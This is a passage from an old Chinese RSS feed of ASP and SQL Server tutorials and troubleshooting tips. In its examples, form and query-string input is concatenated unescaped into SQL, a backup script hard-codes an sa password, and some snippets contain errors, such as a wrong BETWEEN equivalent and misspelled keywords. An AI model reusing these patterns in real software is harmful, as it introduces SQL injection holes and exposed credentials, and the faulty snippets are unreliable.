&lt;&gt; 19.95<br/>Sel&#101;ct * FROM Products Wh&#101;re p_version = &#39;4&#39;<br/><br/>注意： 这里你会注意到，最后一个例句中的数字4周围加了单引号。原因是这样的，在这个例子中的 &#39;4&#39; 是文本类型而非数字类型。因为你会把 Sel&#101;ct 语句放到引号中来把它作为一个值赋给变量，所以你也可以在语句中采用引号。<br/><br/>比较运算符<br/>比较运算符指定从表内取出数据的内容范围。你可以用它们来创建过滤器以便缩小recordset的范围，促使其只保存给定任务下你关心的信息。<br/><br/><br/>在ASP中使用SQL语句之3:LIKE、NOT LIKE和 BETWEEN<br/><br/>你已经在上面取出w打头记录的例子中看到了LIKE的用法。LIKE判定词是一个非常有用的符号。不过，在很多情况下用了它可能会带给你太多的数据，所以在用到它之前最好先开动脑筋多想想自己到底想获得什么数据。假设你想取出5位数字的SKU号码，而且其开头是1结尾是5，那么你可以用下划符（_）代替%符号：<br/>SQL = &#34;Sel&#101;ct * FROM Products Wh&#101;re p_sku LIKE &#39;1___5&#39;&#34;<br/><br/>下划符表示任意一个字符。所以在输入“1 _ _ _ 5”的情况下，你的搜索就会限制在满足特定模式的5位数范围内了。<br/><br/>假如你想反其道而行之，要找出所有不匹配“1_ _ _ 5”模式的SKU条目。那么你只需要在刚才语句例子中的LIKE前面加上NOT就可以了。<br/><br/>BETWEEN<br/>假设你想取出一定范围内的数据，而且你事先知道范围的起点和终点，那么你不妨采用BETWEEN 判断词。现在就让我们假设你想选取给定表内范围在 1和 10之间的记录。你可以如下使用BETWEEN：<br/>…Wh&#101;re ID BETWEEN 1 AND 10<br/><br/>或者你也可以采用已经熟悉的数学判断字句：<br/>…Wh&#101;re ID &gt;= 1 AND ID &gt;= 10<br/><br/><br/>在ASP中使用SQL语句之4:联合语句<br/><br/>我们到目前为止所谈到的SQL语句相对较为简单，如果再能通过标准的recordset循环查询，那么这些语句也能满足一些更复杂的要求。不过，何必非要拘泥在浅尝则止的基础水准之上呢？你完全可以再增加其他一些符号，比如AND、 o&#114;和NOT来完成更强大的功能。<br/><br/>以下面的SQL语句为例：<br/>SQL =&#34;Sel&#101;ct c_firstname, c_lastname, c_email FROM customers Wh&#101;re c_email IS<br/>NOT NULL AND c_purchase = &#39;1&#39; o&#114; c_purchase = &#39;2&#39; AND c_lastname LIKE<br/>&#39;A%&#39;&#34;<br/><br/>就你目前所掌握的SQL知识，以上的例子也不难解释，不过上面的语句并没有很明白地让你看清条件字句是如何胶合在单一SQL语句中的。<br/><br/>多行语句<br/>在SQL语句不好懂的情况下，你不妨把整个语句分解为多行代码，然后在现有变量基础上逐步增加查询语句的各个组成部分并把它存在同一变量内：<br/>SQL = &#34;Sel&#101;ct c_firstname, c_lastname, c_emailaddress, c_phone&#34;<br/>SQL = SQL &amp; &#34; FROM customers&#34;<br/>SQL = SQL &amp; &#34; Wh&#101;re c_firstname LIKE &#39;A%&#39; and c_emailaddress NOT NULL&#34;<br/>SQL = SQL &amp; &#34; o&#114;DER BY c_lastname, c_firstname&#34;<br/>到了最后一句，SQL变量就包含了以下的完整Sel&#101;ct 语句：<br/>&#34;Sel&#101;ct c_firstname, c_lastname, c_emailaddress, c_phone FROM customers<br/>Wh&#101;re c_firstname LIKE &#39;A%&#39; and c_emailaddress NO NULL o&#114;DER BY c_lastname,<br/>c_firstname&#34;<br/><br/>整句照上面分解之后显然好读多了！在进行调试的时候，你或许更乐于多敲几个字符把程序改得更好读些。不过你可要记住了，在封闭引号之前或者在打开引号之后你需要增加空格，这样才能保证字符串连接起来的时候你没有把几个词凑到了一块。<br/><br/> <br/><br/> 在ASP中使用SQL语句之5:开始执行<br/><br/>在学会了Sel&#101;ct语句的构造和用途之后你就该学习如何使用它了。在你所掌握的数据库工具下，这可能意味着你得按下某个写着“执行”字样的按钮。在ASP网页上，可以立即执行SQL语句也可以当作存储过程调用。<br/><br/>一旦创建了SQL 语句，你还得设法访问其查询结果。显然，这里的关键就是ASP recordset。在使用非SQL的recordset时，创建recordset的代码通常如下所示：<br/>Dim objRec<br/>Set objRec = Server.Cr&#101;ateObject (&#34;ADODB.Recordset&#34;)<br/>objRec.Open &#34;customers&#34;, objConn, 0, 1, 2<br/><br/>如果你对ASP比较熟悉以上的代码对你可就不陌生了，你应该知道“customers”表示你打开数据库内一个数据表的名字。<br/><br/>打开recordset<br/>为了充分利用你更为熟悉的SQL技能，你需要调整常规ASP网页上最常采用的recordset：<br/>Dim objRec<br/>Set objRec = Server.Cr&#101;ateObject (&#34;ADODB.Recordset&#34;)<br/>objRec.Open SQL, objConn, 0, 1, 2<br/><br/>这里唯一的修改就是在objRec.Open,之后用包含SQL语句的变量代替了要查询的数据表的名称。<br/><br/>这种方法的优点之一是你可以指定游标类型（如以上0, 1 ,2 所示）。<br/><br/>执行SQL<br/>你可以用紧凑的一行代码执行SQL语句来创建recordset。以下是语法：<br/>Dim objRec<br/>set objRec = objConn.Execute(SQL)<br/><br/>在上例中，你所看到的SQL是你存放自己SQL Sel&#101;ct 语句的变量。该代码行“运行”SQL语句（或者说对数据库进行查询），选取数据并把数据存放在recordset 内，在上例中就是变量objRec。这种方法的主要缺点是你不能选择自己想采用的游标类型。相反，recordset总是用前向游标打开。<br/><br/>因为游标的缘故，你或许打算熟悉两种创建recordset的方法。直接执行查询节省了键入字符所消耗的时间，但那样的话你就得采用默认的游标了，这样有可能遭遇经常不能正常运行的毛病。不管你具体采用哪种办法，两者之间的最大的差别也不外乎代码精练与否。在不考虑你取得什么字段、你的标准是什么的前提下，也不管你如何存储数据，采用SQL式的recordset 在体积上会比ASP上打开的标准recordset 要小得多，更别提操作起来的简易性了。毕竟，通过过滤数据，你消除了耗费时间的if-then 测试和可能用到的循环。<br/><br/>编写测试用SQL<br/>这里有个技巧，许多专业ASP程序员习惯在测试网页的时候“编写”自己的SQL语句。这样做可以帮助你调试代码，因为你可以从中看到传递给服务器执行的字符串。而你要做的无非是增加Response.WriteyourVariable 在屏幕上显示有关信息。在你把和SQL有关的问题提交给ASP讨论组的时候你就应该附上这些信息。<br/><br/> <br/><br/><br/>在ASP中使用SQL语句之6:存储查询<br/><br/>当你的查询相对简单的时候，每次从头开始创建SQL语句也不费什么工夫，不过，复杂的查询就不同了，每次都从头来会产生很多开发错误。因此，一旦让SQL顺利地运行起来，你最好把它们存起来，在需要时再调用它们。这样，哪怕是一个简单查询你都能随时用上存储的查询语句了。<br/><br/>假设你每周都要给团队做一次报告，指出目前存在的业务支持问题，这些数据需要从你的数据库中选取，而且要按照日期选择记录，同时根据你所在团队所采用的支持问题的类别排序。一旦你设计了这一查询，你何必以后每周都重新编写一次呢？不要在你的HTML页面上创建查询，你应该用你的数据库工具创建查询并且保存它。 然后你可以采用ActiveCommand 属性把查询插入到你的ASP网页。头一两回你可能会觉得没啥意思，其实也就几行代码而已：<br/>Set objSQ = Server.Cr&#101;ateObject (&#34;ADODB.Command&#34;)<br/>objSQ.ActiveConnection = &#34;databaseName&#34;<br/><br/>objSQ.CommandText = &#34;storedQueryName&#34;<br/>objSQ.CommandType = adCmdStoredProc<br/><br/>set objRec = objSQ.Execute<br/><br/>注意，采用adCmdStoredProc 表示你已经在页面上包含了adovbs.inc 文件。该文件定义了你可以按照名字而非数字进行访问的Access常数。只需要在页面上包含该文件即可?!--#INCLUDE --&gt;），然后你就可以用adCmdStoredProc 这类名字了。这样，将来你再看到的时候更容易理解以上被存储的查询到底是个什么意思。<br/><br/><br/>在ASP中使用SQL语句之7:ORDER BY<br/><br/>从Access数据库中选取记录有件最令人丧气的事情，它们是以怎样的顺序输入到数据库内就按照怎样的顺序出来。就算你在Access环境内采用Sort By来改变记录视图，数据表内的记录顺序也并没有发生改变。<br/><br/><br/>如果你正在使用ASPrecordset在网页上写出记录，那么你或许知道乱纷纷的顺序是多令人痛苦的事。但是你可能不得不经常得面对这一问题，因为并不存在什么简单方便的解决方案。好在ORDER BY 可以简化这一难题。<br/><br/>为了对你的结果排序，只要在Sel&#101;ct语句末尾加上ORDER BY，然后指定你需要排序的参照列即可。因此，如果你想要根据顾客的姓氏对Customers表排序，那么你可以编写如下的查询语句：<br/>SQL = &#34;Sel&#101;ct c_lastname, c_firstname, c_email FROM Customers o&#114;DER BY c_lastname&#34;<br/><br/>这样，只要你建立了recordset而且开始把结果写到屏幕上，你就会看见数据按照字母顺序排列起来了。<br/><br/>多级排序<br/>其实不仅仅可以在SQL语句中进行一级排序。实际上，在很多情况下，你可能会希望指定两到三级深度的数据排序。假设你有以下数据表，其内容如下所示： [image003.gif]<br/><br/><br/>先前采用的单级ORDER BY 排序是按下面的顺序取出数据的：<br/>Absurdly Assured<br/>absurd@supidea.com<br/><br/>Absolutely Assured<br/>absolutely@supidea.com<br/><br/>Crazed Coder<br/>crazy@supidea.com<br/><br/>Loosely Fringe<br/>loose@supidea.com<br/><br/>Lunatic Fringe<br/>lune@supidea.com<br/><br/>Hands On<br/>hands@yes.org<br/><br/>显然ORDER BY 起了应有的作用。在实际的表结构下，Absurdly Assured 是最后的条目，但它排在检索结果的最顶端。Hands On记录排最后因为 O 在以上列表中排在字母表最后。显然，Absolutely按照字母表最好排在Absurdly之前。为此，你需要采取第2级ORDER BY 排序标准，参照第2列进行排序：<br/>SQL = &#34;Sel&#101;ct c_lastname, c_firstname, c_email FROM Customers o&#114;DER BY<br/>c_lastname, c_firstname&#34;<br/><br/>其结果将首先按照c_lastname 列排序然后按照c_firstname 列排序。假如你的数据表包含的记录比较多，仔细设计排序会令输出结果编排更为合理。<br/><br/>投入使用<br/>如果你同大多数程序员一样喜欢自己动手编代码，沉湎于掌握新技术的狂热之中。何不从ASP的冗长编码中转过头来尝试一下SQL编码呢？下面我们将就ASP编程时常见的问题以及如何在ASP中高效地利用SQL语句做一番探讨。<br/><br/><br/>在ASP中使用SQL语句之8:随机数<br/><br/>建立随机生成的HTML代码是一件相当容易实现的ASP特性。你可能创建过“每日一帖”、滚动广告等等，只需要稍加点缀就会令你的网站日久弥新。<br/><br/>对存储在数据库中的数据来说，随机数特性能给出上面的效果，但它们可能太慢了些。你不能要求ASP“找个随机数”然后打印出来。实际上常见的解决方案是建立如下所示的循环：<br/>Randomize<br/>RNumber = Int(Rnd*499) +1<br/><br/>While Not objRec.EOF<br/>If objRec(&#34;ID&#34;) = RNumber THEN<br/><br/>... 这里是执行脚本 ...<br/><br/>end if<br/>objRec.MoveNext<br/>Wend<br/><br/>这很容易理解。首先，你取出1到500范围之内的一个随机数（假设500就是数据库内记录的总数）。然后，你遍历每一记录来测试ID 的值、检查其是否匹配RNumber。满足条件的话就执行由THEN 关键字开始的那一块代码。假如你的RNumber 等于495，那么要循环一遍数据库花的时间可就长了。虽然500这个数字看起来大了些，但相比更为稳固的企业解决方案这还是个小型数据库了，后者通常在一个数据库内就包含了成千上万条记录。这时候不就死定了？<br/><br/>采用SQL，你就可以很快地找出准确的记录并且打开一个只包含该记录的recordset，如下所示：<br/>Randomize<br/>RNumber = Int(Rnd*499) + 1<br/><br/>SQL = &#34;Sel&#101;ct * FROM Customers Wh&#101;re ID = &#34; &amp; RNumber<br/><br/>set objRec = ObjConn.Execute(SQL)<br/>Response.WriteRNumber &amp; &#34; = &#34; &amp; objRec(&#34;ID&#34;) &amp; &#34; &#34; &amp; objRec(&#34;c_email&#34;)<br/><br/>不必写出RNumber 和ID，你只需要检查匹配情况即可。只要你对以上代码的工作满意，你自可按需操作“随机”记录。Recordset没有包含其他内容，因此你很快就能找到你需要的记录这样就大大降低了处理时间。<br/><br/>再谈随机数<br/><br/>现在你下定决心要榨干Random 函数的最后一滴油，那么你可能会一次取出多条随机记录或者想采用一定随机范围内的记录。把上面的标准Random 示例扩展一下就可以用SQL应对上面两种情况了。<br/><br/>为了取出几条随机选择的记录并存放在同一recordset内，你可以存储三个随机数，然后查询数据库获得匹配这些数字的记录：<br/>SQL = &#34;Sel&#101;ct * FROM Customers Wh&#101;re ID = &#34; &amp; RNumber &amp; &#34; o&#114; ID = &#34; &amp; RNumber2 &amp; &#34; o&#114; ID = &#34; &amp; RNumber3<br/><br/>假如你想选出10条记录（也许是每次页面装载时的10条链接的列表），你可以用BETWEEN 或者数学等式选出第一条记录和适当数量的递增记录。这一操作可以通过好几种方式来完成，但是 Sel&#101;ct 语句只显示一种可能（这里的ID 是自动生成的号码）：<br/>SQL = &#34;Sel&#101;ct * FROM Customers Wh&#101;re ID BETWEEN &#34; &amp; RNumber &amp; &#34; AND &#34; &amp; RNumber &amp; &#34;+ 9&#34;<br/><br/>注意：以上代码的执行目的不是检查数据库内是否有9条并发记录。如果你需要保证每次选出10条记录，那么你必须进一步设计查询。<br/><br/><br/>在ASP中使用SQL语句之9:表单操作<br/><br/>从某个页面表单中取出信息是ASP编程中常见的问题。但是，遍历通过表单传递的记录会花去多长时间呢？这取决于数据库的大小。简单的GUI界面都可能令循环遍历操作耗费太多的时间。<br/><br/>比方说，假设有个团队成员登录到GUI屏幕输入自己的名字姓氏和名字之间用点号连接：amy.cowen。这个值通过表单提交，她的当前项目列表就从数据库中取了出来并显示在屏幕上。为了快速地取出用户的记录以便显示在屏幕上，你可以编写以下代码。<br/><br/>假设HTML页面上包含以下代码：<br/>&lt;FORM ACTION=&#34;login_post.asp&#34; METHOD=&#34;POST&#34;&gt;<br/>&lt;INPUT TYPE=&#34;text&#34; NAME=&#34;dotname&#34;&gt;<br/>&lt;INPUT TYPE=&#34;submit&#34;&gt;<br/>&lt;/FORM&gt;<br/><br/>在你的login_post.asp 代码页上你希望读取dotname 字段的值，同时找出数据库内匹配的记录：<br/>SQL = &#34;Sel&#101;ct dotname, ID FROM team Wh&#101;re dotname = &#39;&#34; &amp; Request.Form(&#34;dotname&#34;) &amp; &#34;&#39;&#34;<br/><br/>假如你采用GET 方法，需要把数据库记录同QueryString中的字段值做比较，那么你可以采用同样的基本方法：<br/>SQL = &#34;Sel&#101;ct dotname, ID FROM team Wh&#101;re dotname = &#39;&#34; &amp; Request.QueryString(&#34;dotname&#34;) &amp; &#34;&#39;&#34;<br/><br/>当然，你还可以把表单字段的值分配给某个变量并把它插入到你的SQL语句中：<br/>dotname = Request.QueryString(&#34;dotname&#34;)<br/>SQL = &#34;Sel&#101;ct dotname, ID FROM team Wh&#101;re dotname = &#39;&#34; &amp; dotname &amp;&#34;&#39;&#34;]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2941.htm</link>
			<title><![CDATA[关于MSSQL2005取消强制实施密码策略出错的解决方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:03:08 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2941</guid>
		<description><![CDATA[服务器上面架设了DZNT，创建系统的时候老是说我密码错误，但我MSSQL2005的密码明明是正确的，后经仔细检查，原来是在SQL Server 2005中创建帐号的时候，选中了＂强制实施密码策略＂<br/>创建完毕后，我改为不使用策略，取消了＂强制实施密码策略＂，<br/>点击确定后，出现错误，如下：<br/>详细信息如下：<br/>标题: Microsoft SQL Server Management Studio<br/>------------------------------<br/>更改 对于 登录“test1”失败。 (Microsoft.SqlServer.Smo)<br/>有关帮助信息，请单击: <a href="http://go.microsoft.com/fwlink?ProdName=Microsoft+...xt" target="_blank" rel="external">http://go.microsoft.com/fwlink?ProdName=Microsoft+...xt</a>&amp;EvtID=更改+Login&amp;LinkId=20476<br/>------------------------------<br/>其他信息:<br/>执行 Transact-SQL 语句或批处理时发生了异常。 (Microsoft.SqlServer.ConnectionInfo)<br/>------------------------------<br/>当 MUST_CHANGE 为 ON (开)时，不能将 CHECK_POLICY 和 CHECK_EXPIRATION 选项设为 OFF (关)。 (Microsoft SQL Server，错误: 15128)<br/>有关帮助信息，请单击: <a href="http://go.microsoft.com/fwlink?ProdName=Microsoft+...erver" target="_blank" rel="external">http://go.microsoft.com/fwlink?ProdName=Microsoft+...erver</a>&amp;EvtID=15128&amp;LinkId=20476<br/>------------------------------<br/>按钮:<br/>确定<br/>------------------------------<br/><br/>解决办法：<br/>研究了半天，原来用<br/>Alt&#101;r LOGIN 登录名 WITH PASSWORD=&#39;新密码&#39;;<br/>上面这条SQL语句执行一下， 然后再修改取消＂强制实施密码策略＂的选项的时候就可不提示出错了。<br/><br/>这是以sa身份或使用windows身份验证修改登录的密码的。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2940.htm</link>
			<title><![CDATA[关于提示&#34;已将数据库上下文改为xx”的解决办法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:02:27 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2940</guid>
		<description><![CDATA[今天在安装DZ NT论坛的时候，提示&#34;用户没有执行此操作的权限，已将数据库上下文改为supidea”,在DZ nt的官方上面也有人提及此问题，问题地址为“[安装] 急！用户没有执行此操作的权限，已将数据库上下文改为 ”看了上面好像也没对此有实质性的解决说明，在CSDN上面也有关于&#34;已将数据库上下文改为xx&#34;的解决方案，但始终没看到一个能真正解决的。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;遇到这个问题，我们的方向都搞错了，其实关键的不是&#34;已将数据库上下文改为xx”,而是在此上面的一句“用户没有执行此操作的权限”，看到这个你就应该明白，提示&#34;已将数据库上下文改为xx”这个问题的真正原因是:因为数据库用户的权限不够，无法执行操作。一般这样的问题都是因为设置的时候，数据库给的是public权限，而部分建表操作等需要db_owner权限。如果你给对应的用户分配上db_owner的权限，那他就不会报这个错误了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;出现提示&#34;已将数据库上下文改为xx”这个问题的真正原因就是因为读取数据库对应的用户权限不够，首先想到的应该是看看自己给用户分配的权限是不是能够执行那些SQL语句，比如建表，修改表，删除等等。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2939.htm</link>
			<title><![CDATA[ASP SQL备份工具]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:01:38 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2939</guid>
		<description><![CDATA[Asp数据库备份语句：backup database [数据库名] to disk=&#34;要备份到的路径&#34;，SQL的备份文件只能保存在原服务器上面，而不能备份到别的地方<br/>&lt;%<br/>CONN_STR = &#34;Server=FTWEB;User ID=sa;Password=1319707a&amp;b1;Database=ftcms_data&#34;<br/>connstr=&#34;Provider=SQLOLEDB.1;Persist Security Info=false;&#34;&amp;CONN_STR&amp;&#34;;<br/>set conn=server.cr&#101;ateobject(&#34;adodb.connection&#34;)<br/>conn.open connstr<br/><br/>conn.execute(&#34;backup datebase ftcms_data to disk = G:\zbCMS\FS_Inc\NewBackup.rar&#34;)<br/>response.write&#34;数据库备份完成。&#34;<br/>%&gt;]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2938.htm</link>
			<title><![CDATA[用户xx登录失败,该用户与可信sql server连接无关联的解决办法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:00:49 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2938</guid>
		<description><![CDATA[&nbsp;&nbsp;1：找到SQL服务器，在左栏中上面，单击右键，在弹出的菜单中选择“属性”命令。弹出一个对话框，单击“安全性”，在“服务器身份验证”下面选择 “SQL SERVER和WINDOWS身份验证模式”，在前面打勾！记得这一步很重要，如果没有这一步你就别想登录成功！然后单击“确定”就可以了！可有时候可能只要完成这一步就解决问题，下面的第二步是告诉你如何添加登录账户<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2：打开SQL Server Manager管理器！在左面找到 ‘安全性’ 单击右键 选择‘新建”，“登录” 弹出一个对话框，在登录名中输入你的登录号，选择&#39;SQLSERVER身份验证&#39;，并输入密码，可以把‘用户下次登录时必须修改密码’取消掉。点击‘用户映射’，在右面选择要映射的数据库，并在前面打勾！在下面一栏中‘db-owner’和‘public’前面打勾。然后点击＇状态＇在右面栏中选中＂授予＂、“启用”，这两项一般是默认的，但如果默认的不是此两项必须改过来，不然是连不上的！点击‘确定’。&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3：重新启动服务就可以选择SQL SERVER 身份验证模式登录了！输入刚才的用户名和密码就可以登录成功了！<br/>重启SQL SERVER:在运行里面输入net stop mssqlserver,敲回车，这样便把SQL server停止了，然后再输入net start mssqlserver,敲回车便开始启动SQL server,这样SQL server便重启完成了。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2937.htm</link>
			<title><![CDATA[收缩清空SQL日志的方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:59:53 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2937</guid>
		<description><![CDATA[第一种方法：使用SQL语句清空日志。<br/>1．打开查询分析器，输入命令<br/>DUMP TRANSACTION 数据库名 WITH NO_LOG<br/>2.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了。<br/><br/>第二种方法：<br/>这有有一定的风险性，因为SQL SERVER的日志文件不是即时写入数据库主文件的，如处理不当，会造成数据的损失。<br/>1: 删除LOG<br/>分离数据库 企业管理器－＞服务器－＞数据库－＞右键－＞分离数据库<br/>2：删除LOG文件<br/>附加数据库 企业管理器－＞服务器－＞数据库－＞右键－＞附加数据库<br/>此法生成新的LOG，大小只有500多K。<br/><br/>注意：建议使用第一种方法。如果以后,不想要它变大。SQL2000下使用：<br/>在数据库上点右键-&gt;属性-&gt;选项-&gt;故障恢复-模型-选择-简单模型。<br/>或用SQL语句：<br/>alt&#101;r database 数据库名 set recovery simple<br/><br/>另外，Truncate log on checkpoint(此选项用于SQL7.0，SQL 2000中即故障恢复模型选择为简单模型)当执行CHECKPOINT 命令时如果事务日志文件超过其大小的70% 则将其内容清除在开发数据库时时常将此选项设置为True Auto shrink定期对数据库进行检查当数据库文件或日志文件的未用空间超过其大小的25%时，系统将会自动缩减文件使其未用空间等于25% 当文件大小没有超过其建立时的初始大小时不会缩减文件缩减后的文件也必须大于或等于其初始大小对事务日志文件的缩减只有在对其作备份时或将 Truncate log on checkpoint 选项设为True 时才能进行。<br/><br/>注意：一般立成建立的数据库默认属性已设好，但碰到意外情况使数据库属性被更改，请用户清空日志后，检查数据库的以上属性，以防事务日志再次充满。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2936.htm</link>
			<title><![CDATA[sql 语句inner left riaht full group by语句意思]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:59:18 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2936</guid>
		<description><![CDATA[GROUP BY子句：指定用来放置输出行的组,并且如果 Sel&#101;ct 子句 &lt;sel&#101;ct list&gt; 中包含聚合函数，则计算每组的汇总值。指定 GROUP BY 时，选择列表中任一非聚合表达式内的所有列都应包含在 GROUP BY 列表中，或者 GROUP BY 表达式必须与选择列表表达式完全匹配。<br/>如用了统计函数比如sum count,则sql语句只输出一行：<br/>如:sel&#101;ct count(*)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; as num from userinfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只统计一组的汇总值，只输出一行<br/>但是加了group by&nbsp;&nbsp;则是计算每组的汇总值，就是说没个行纪录都统计输出，但如纪录count(*)统计为0时则不输出，要强制需要在加all如group by all语句输出不满足条件的行，但这时wh&#101;re 语句不没用的，因为他不满足的纪录也输出来了。<br/>两个表用来统计查询，这就要用到表的连接函数left outer join 或inner outer join 或 right outer&nbsp;&nbsp;join full outer join<br/>inner join 是内连接返回所有匹配的行。<br/>left right full是外连接:left是左外连接：意思是返回以左边表为基准的，右边表所有纪录全部返回（包括不匹配纪录）<br/>right是右外连接：与left相反的意思，就是返回右表符合条件的纪录，左边的可以不匹配。<br/>full是：返回所有不匹配的纪录<br/>但是在这里请注意on 和wh&#101;re 区别：on使用搜寻独立表中的纪录然后在把合适的纪录在根据left和righth和full 来输出匹配行，而wh&#101;re 是把和输出的纪录在取条件。<br/><br/>下面是一个表使用统计查询的几中情况和用法:<br/>1、简单的，统计 查询 只返回全部有值的纪录：<br/>sel&#101;ct a.user_id,a.user_nickname,a.province_id,count(b.q_id) as num from VIEW_UserInfo as a inner join quoted as b on&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a.user_id=b.q_usernameid wh&#101;re province_id=16 group by a.user_id,a.user_nickname,a.province_id<br/>这里是返回统计不为哦 查询条件为province_id=16（VIEW_UserInfo 字段）的值<br/><br/>2、统计为0值也返回：<br/>sel&#101;ct a.user_id,a.user_nickname,a.province_id,count(b.q_id) as num from VIEW_UserInfo as a left join quoted as b on&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a.user_id=b.q_usernameid wh&#101;re province_id=16 group by a.user_id,a.user_nickname,a.province_id<br/>这里是把inner 改成了left所以统计为0的也会返回<br/><br/>3、如果我想把num也做条件怎么办，这就要用到HAVING了，该条件是基于数据的分组和汇总结果<br/>例如:sel&#101;ct a.user_id,user_regTime,count(b.q_id) as num&nbsp;&nbsp; from VIEW_UserInfo as a left join quoted as b on&nbsp;&nbsp; a.user_id=b.q_usernameid and q_sortid=21 group&nbsp;&nbsp; by&nbsp;&nbsp; a.user_id,user_regTime having count(b.q_id)&gt;0 o&#114;der by num desc<br/><br/>这里需要注意的count(b.q_id)&gt;0 这个字段不能用num代替。<br/>后面的ordre by 可以直接用num来排序<br/><br/>FROM子查询语句<br/>FROM子句指定Sel&#101;ct语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图，它们之间用逗号分隔。<br/>在FROM子句同时指定多个表或视图时，如果选择列表中存在同名列，这时应使用对象名限定这些列<br/>所属的表或视图。例如在usertable和citytable表中同时存在cityid列，在查询两个表中的cityid时应<br/>使用下面语句格式加以限定：<br/>Sel&#101;ct username,citytable.cityid FROM usertable,citytable Wh&#101;re usertable.cityid=citytable.cityid<br/>在FROM子句中可用以下两种格式为表或视图指定别名：<br/>表名 as 别名<br/>表名 别名例如上面语句可用表的别名格式表示为：<br/>Sel&#101;ct username,b.cityid FROM usertable a,citytable b Wh&#101;re a.cityid=b.cityidSel&#101;ct<br/>不仅能从表或视图中检索数据，它还能够从其它查询语句所返回的结果集合中查询数据。<br/><br/>例如：<br/>Sel&#101;ct a.au_fname+a.au_lname FROM authors a,titleauthor ta (Sel&#101;ct title_id,title FROM titles Wh&#101;re ytd_sales&gt;10000 ) AS t Wh&#101;re a.au_id=ta.au_id AND ta.title_id=t.title_id<br/>此例中，将Sel&#101;ct返回的结果集合给予一别名t，然后再从中检索数据。<br/>还有一种是直接做为条件的。<br/>sel&#101;ct*from userinfo wh&#101;re id in(sel&#101;ct*from userfa)<br/> ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2935.htm</link>
			<title><![CDATA[SQL查询速度慢的原因及解决]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:58:11 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2935</guid>
		<description><![CDATA[在很多时候数据库和网站在同一台服务器上面，但多次查询速度就是慢，还经常出现超时等现象。数据库查询已经使用了存储过程，全文索引也已经做过，但是多次循环查询的时候有时候还是会超时，速度超慢，和时间观察，总算找到一点头绪。<br/>&nbsp;&nbsp;&nbsp;&nbsp; SQL查询速度慢的其原因：<br/>&nbsp;&nbsp;&nbsp;&nbsp; SQL连接语句问题，连接语句里面的数据库地址使得SQL连接查询速度变的慢，如果在本机，大多朋友会填写127.0.0.1或(local),但由于有可能修改过服务器设置，或什么别的未知原因，SQL查询时候连接会超时。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 解决办法：<br/>&nbsp;&nbsp;&nbsp;&nbsp; 把连接地址修改为计算机名，地址变为windows身份验证。那样速度便会快很多，大家可以试试。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2934.htm</link>
			<title><![CDATA[ASP开发中存储过程应用全接触]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:57:44 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2934</guid>
